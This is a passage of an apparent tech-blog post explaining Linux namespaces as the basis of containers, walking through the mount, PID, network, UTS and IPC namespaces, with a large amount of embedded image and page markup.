possible.</p><p>To support my work, consider becoming a <strong>free or paid subscriber</strong> and join the growing community of tech professionals.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.sysxplore.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.sysxplore.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><h2>The Building Blocks of Containers</h2><p>If you&#8217;ve used Docker, Podman, or LXC, you&#8217;ve already worked with namespaces, even if you didn&#8217;t notice it.</p><p>When you start a container, Linux doesn&#8217;t create a new operating system. Instead, it uses namespaces to isolate specific system resources for the container&#8217;s processes.</p><p>Inside a namespace, processes operate as if they have their own environment: their own process tree, network stack, and hostname.</p><p>From the host&#8217;s perspective, though, these are still ordinary processes managed by the same kernel, only their view of the system is limited.</p><p>Here&#8217;s is how I like to visualize it:</p><blockquote><p>The kernel is like a theater stage, and each namespace is a separate play happening on that same stage. Every actor thinks their story is the only one, but the stage crew (the kernel) manages them all behind the scenes.</p></blockquote><p>This ability to isolate processes without spinning up full virtual machines is what makes containers so lightweight. Each container runs as a regular Linux process, but with boundaries that limit what it can access or observe. The combination of namespaces (for isolation) and control groups (for resource limits) forms the foundation of modern containerization.</p><p>We&#8217;ll focus on namespaces throughout this series, exploring how they isolate different parts of the system and how you can interact with them directly from the command line, no container engine required.</p><h2>The Types of Namespaces</h2><p>Now that you have the big picture, let&#8217;s look at what Linux can actually isolate.</p><p>As of today, the Linux kernel supports <strong>eight different namespaces</strong>, each responsible for separating a specific part of the system.</p><p>Each namespace type creates its own isolated &#8220;view&#8221; of a resource. Processes inside that namespace only see what belongs to it, not the global system. Together, they let the kernel build virtual environments that behave like independent systems, all while sharing the same underlying OS.</p><p>Let&#8217;s briefly walk through each one.</p><h3>Mount (mnt)</h3><p>The <strong>mount namespace</strong> is the oldest of all. It isolates the filesystem hierarchy, giving each process its own view of mounted filesystems.</p><p>Any time you use the <code>mount</code> or <code>umount</code> command, you&#8217;re effectively interacting with this namespace.</p><p>With mount namespaces, a process can have its own private filesystem layout. You can mount or unmount directories inside that environment without affecting what&#8217;s visible to the host.</p><p>Before mount namespaces existed, administrators used <code>chroot </code>to change a process&#8217;s apparent root directory, a trick that limited what it could access, but without true isolation.</p><p>Mount namespaces take that concept further by giving each process an entirely separate set of mount points, not just a different starting directory.</p><p>That&#8217;s why container environments rely on mount namespaces rather than <code>chroot</code>: they provide stronger, kernel-enforced filesystem isolation and greater flexibility in defining what each process can see.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!yNG1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87f53ce9-1e42-403a-990e-1c4b161a4633_2250x1834.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yNG1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87f53ce9-1e42-403a-990e-1c4b161a4633_2250x1834.png 424w, https://substackcdn.com/image/fetch/$s_!yNG1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87f53ce9-1e42-403a-990e-1c4b161a4633_2250x1834.png 848w, https://substackcdn.com/image/fetch/$s_!yNG1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87f53ce9-1e42-403a-990e-1c4b161a4633_2250x1834.png 1272w, https://substackcdn.com/image/fetch/$s_!yNG1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87f53ce9-1e42-403a-990e-1c4b161a4633_2250x1834.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!yNG1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87f53ce9-1e42-403a-990e-1c4b161a4633_2250x1834.png" width="1456" height="1187" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/87f53ce9-1e42-403a-990e-1c4b161a4633_2250x1834.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1187,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:157740,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177492916?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87f53ce9-1e42-403a-990e-1c4b161a4633_2250x1834.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!yNG1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87f53ce9-1e42-403a-990e-1c4b161a4633_2250x1834.png 424w, https://substackcdn.com/image/fetch/$s_!yNG1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87f53ce9-1e42-403a-990e-1c4b161a4633_2250x1834.png 848w, https://substackcdn.com/image/fetch/$s_!yNG1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87f53ce9-1e42-403a-990e-1c4b161a4633_2250x1834.png 1272w, https://substackcdn.com/image/fetch/$s_!yNG1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87f53ce9-1e42-403a-990e-1c4b161a4633_2250x1834.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>PID (pid)</h3><p>The <strong>PID namespace </strong>isolates process IDs.</p><p>Each namespace has its own numbering system for processes, starting at <code>PID 1</code>, which acts like its own<code> init</code> process.</p><p>Processes in one PID namespace can&#8217;t see or interact with those outside of it.</p><p>This is what gives containers their own independent process trees. It also allows commands like<code> kill</code> to send signals only within the same namespace.</p><p>Behind the scenes, PID namespaces are hierarchical the parent namespace can still see all the processes inside the child namespace, but not the other way around.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fTzU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F113dd05e-ac2a-4367-b2b2-13be45858ed8_2250x1834.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fTzU!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F113dd05e-ac2a-4367-b2b2-13be45858ed8_2250x1834.png 424w, https://substackcdn.com/image/fetch/$s_!fTzU!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F113dd05e-ac2a-4367-b2b2-13be45858ed8_2250x1834.png 848w, https://substackcdn.com/image/fetch/$s_!fTzU!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F113dd05e-ac2a-4367-b2b2-13be45858ed8_2250x1834.png 1272w, https://substackcdn.com/image/fetch/$s_!fTzU!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F113dd05e-ac2a-4367-b2b2-13be45858ed8_2250x1834.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fTzU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F113dd05e-ac2a-4367-b2b2-13be45858ed8_2250x1834.png" width="1456" height="1187" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/113dd05e-ac2a-4367-b2b2-13be45858ed8_2250x1834.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1187,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:151047,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177492916?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F113dd05e-ac2a-4367-b2b2-13be45858ed8_2250x1834.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fTzU!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F113dd05e-ac2a-4367-b2b2-13be45858ed8_2250x1834.png 424w, https://substackcdn.com/image/fetch/$s_!fTzU!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F113dd05e-ac2a-4367-b2b2-13be45858ed8_2250x1834.png 848w, https://substackcdn.com/image/fetch/$s_!fTzU!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F113dd05e-ac2a-4367-b2b2-13be45858ed8_2250x1834.png 1272w, https://substackcdn.com/image/fetch/$s_!fTzU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F113dd05e-ac2a-4367-b2b2-13be45858ed8_2250x1834.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>Network (net)</h3><p>The <strong>network namespace </strong>provides isolation for everything related to networking, interfaces, routing tables, port numbers, ARP caches, and firewall rules.</p><p>Each network namespace gets its own virtual network stack, complete with its own IP addresses and devices.</p><p>You can think of this as giving each container its own miniature network environment.</p><p>Docker, for example, connects containers by creating <strong>virtual Ethernet pairs (veth)</strong> and bridges between namespaces.</p><p>That&#8217;s how multiple containers can each run web servers on port 80 or 443 without conflicting.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!enAr!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd717acb5-276a-40ff-b6a8-0ed2a720bac5_2250x1459.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!enAr!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd717acb5-276a-40ff-b6a8-0ed2a720bac5_2250x1459.png 424w, https://substackcdn.com/image/fetch/$s_!enAr!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd717acb5-276a-40ff-b6a8-0ed2a720bac5_2250x1459.png 848w, https://substackcdn.com/image/fetch/$s_!enAr!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd717acb5-276a-40ff-b6a8-0ed2a720bac5_2250x1459.png 1272w, https://substackcdn.com/image/fetch/$s_!enAr!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd717acb5-276a-40ff-b6a8-0ed2a720bac5_2250x1459.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!enAr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd717acb5-276a-40ff-b6a8-0ed2a720bac5_2250x1459.png" width="1456" height="944" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d717acb5-276a-40ff-b6a8-0ed2a720bac5_2250x1459.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:944,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:138569,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177492916?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd717acb5-276a-40ff-b6a8-0ed2a720bac5_2250x1459.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!enAr!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd717acb5-276a-40ff-b6a8-0ed2a720bac5_2250x1459.png 424w, https://substackcdn.com/image/fetch/$s_!enAr!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd717acb5-276a-40ff-b6a8-0ed2a720bac5_2250x1459.png 848w, https://substackcdn.com/image/fetch/$s_!enAr!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd717acb5-276a-40ff-b6a8-0ed2a720bac5_2250x1459.png 1272w, https://substackcdn.com/image/fetch/$s_!enAr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd717acb5-276a-40ff-b6a8-0ed2a720bac5_2250x1459.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>UTS (uts)</h3><p>UTS stands for <strong>UNIX Time-Sharing</strong>, and this namespace controls system identifiers, the hostname and domain name.</p><p>It lets each isolated environment appear to be a different machine.</p><p>When you change the hostname inside a container, it only affects that container&#8217;s UTS namespace.</p><p>This small but powerful feature makes each container feel like its own system, even though they all share the same kernel.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Ai_d!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca10e69-112a-4e6e-9d92-4f183fc5eee1_2250x1146.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Ai_d!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca10e69-112a-4e6e-9d92-4f183fc5eee1_2250x1146.png 424w, https://substackcdn.com/image/fetch/$s_!Ai_d!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca10e69-112a-4e6e-9d92-4f183fc5eee1_2250x1146.png 848w, https://substackcdn.com/image/fetch/$s_!Ai_d!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca10e69-112a-4e6e-9d92-4f183fc5eee1_2250x1146.png 1272w, https://substackcdn.com/image/fetch/$s_!Ai_d!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca10e69-112a-4e6e-9d92-4f183fc5eee1_2250x1146.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Ai_d!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca10e69-112a-4e6e-9d92-4f183fc5eee1_2250x1146.png" width="1456" height="742" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0ca10e69-112a-4e6e-9d92-4f183fc5eee1_2250x1146.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:742,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:122160,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177492916?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca10e69-112a-4e6e-9d92-4f183fc5eee1_2250x1146.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Ai_d!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca10e69-112a-4e6e-9d92-4f183fc5eee1_2250x1146.png 424w, https://substackcdn.com/image/fetch/$s_!Ai_d!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca10e69-112a-4e6e-9d92-4f183fc5eee1_2250x1146.png 848w, https://substackcdn.com/image/fetch/$s_!Ai_d!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca10e69-112a-4e6e-9d92-4f183fc5eee1_2250x1146.png 1272w, https://substackcdn.com/image/fetch/$s_!Ai_d!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca10e69-112a-4e6e-9d92-4f183fc5eee1_2250x1146.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>IPC (ipc)</h3><p>The <strong>IPC namespace</strong> (Inter-Process Communication) isolates communication channels such as <strong>System V message queues, semaphores, </strong>and <strong>shared memory</strong> segments.</p><p>This prevents processes in different namespaces from accidentally reading or modifying each other&#8217;s messages.</p><p>It&#8217;s a security-focused namespace that dates back to UNIX System V.</p><p>Each IPC namespace maintains its own identifiers and POSIX message queue filesystem, ensuring one container&#8217;s internal communications remain private.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Uiw7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a98b915-9683-4dc3-90a4-95dc1a11b51a_2250x1459.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Uiw7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a98b915-9683-4dc3-90a4-95dc1a11b51a_2250x1459.png 424w, https://substackcdn.com/image/fetch/$s_!Uiw7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a98b915-9683-4dc3-90a4-95dc1a11b51a_2250x1459.png 848w, https://substackcdn.com/image/fetch/$s_!Uiw7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a98b915-9683-4dc3-90a4-95dc1a11b51a_2250x1459.png 1272w, https://substackcdn.com/image/fetch/$s_!Uiw7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a98b915-9683-4dc3-90a4-95dc1a11b51a_2250x1459.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Uiw7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a98b915-9683-4dc3-90a4-95dc1a11b51a_2250x1459.png" width="1456" height="944" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2a98b915-9683-4dc3-90a4-95dc1a11b51a_2250x1459.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:944,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:151448,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177492916?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a98b915-9683-4dc3-90a4-95dc1a11b51a_2250x1459.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Uiw7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a98b915-9683-4dc3-90a4-95dc1a11b51a_2250x1459.png 424w, https://substackcdn.com/image/fetch/$s_!Uiw7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a98b915-9683-4dc3-90a4-95dc1a11b51a_2250x1459.png 848w, https://substackcdn.com/image/fetch/$s_!Uiw7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a98b915-9683-4dc3-90a4-95dc1a11b51a_2250x1459.png 1272w, https://substackcdn.com/image/fetch/$s_!Uiw7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a98b915-9683-4dc3-90a4-95dc1a11b51a_2250x1459.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 